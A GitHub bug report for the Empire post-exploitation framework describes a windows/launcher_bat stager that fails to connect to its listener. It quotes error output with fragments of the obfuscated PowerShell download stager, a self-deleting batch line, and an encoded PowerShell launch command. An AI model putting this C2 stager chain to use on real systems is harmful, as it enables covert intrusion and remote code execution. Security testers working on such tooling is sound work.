Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[BUG] windows/launcher_bat "Unable to connect to the remote server" error #204

Closed
pawp81 opened this issue May 13, 2020 · 1 comment
Closed
Labels
bug Something isn't working

Comments

@pawp81
Copy link

pawp81 commented May 13, 2020

Empire Version

  • Empire 3.2

OS Information (Linux flavor, Python version)

  • OS: Kali Linux 2020.2
  • Python: 3.8.2

Describe the bug
Executing windows/launcher_bat on Windows machine generates the error:
C:\Users>Exception calling "DownloadData" with "1" argument(s): "Unable to connect to the remote server"
At line:1 char:1808

  • ... NRp4B+j9djanl9ie81paUkI=");$DATa=$E6Cc5.DownlOADDAta($SEr+$T);$IV=$Da ...
  •                            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : NotSpecified: (:) [], MethodInvocationException
    • FullyQualifiedErrorId : WebException

To Reproduce
Steps to reproduce the behavior:
Create http listener
Create windows/launcher_bat stager
Copy code of the stager launcher_bat from Kali to Windows
Execute the .bat. No connection to the listener
For troubleshooting purposes remove following lines from launcher.bat
@echo off
start /b "" cmd /c del "%%~f0"&exit /b
Modify following line start /b powershell line to:
start /b powershell -noP -sta -enc
Execute the launcher.bat
Following errors are returned:
C:\Users>Exception calling "DownloadData" with "1" argument(s): "Unable to connect to the remote server"
At line:1 char:1808

  • ... NRp4B+j9djanl9ie81paUkI=");$DATa=$E6Cc5.DownlOADDAta($SEr+$T);$IV=$Da ...
  •                            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : NotSpecified: (:) [], MethodInvocationException
    • FullyQualifiedErrorId : WebException

Cannot index into a null array.
At line:1 char:1843

  • ... 81paUkI=");$DATa=$E6Cc5.DownlOADDAta($SEr+$T);$IV=$DaTa[0..3];$DatA=$ ...
  •                                               ~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : NullArray

Cannot index into a null array.
At line:1 char:1859

  • ... OADDAta($SEr+$T);$IV=$DaTa[0..3];$DatA=$DAta[4..$Data.LeNGTH];-JOIn[C ...
  •                                  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : InvalidOperation: (:) [], RuntimeException
    • FullyQualifiedErrorId : NullArray

� : The term '�' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the
spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1

  • ~
    • CategoryInfo : ObjectNotFound: (�:String) [], CommandNotFoundException
    • FullyQualifiedErrorId : CommandNotFoundException

Expected behavior
Successfuly connection to the empire listener

Screenshots

image

Additional context
Add any other context about the problem here.

@pawp81 pawp81 added the bug Something isn't working label May 13, 2020
@pawp81
Copy link
Author

pawp81 commented May 13, 2020

Sending file using nc resolve the problem

@pawp81 pawp81 closed this as completed May 13, 2020
vinnybod added a commit that referenced this issue Sep 25, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests

1 participant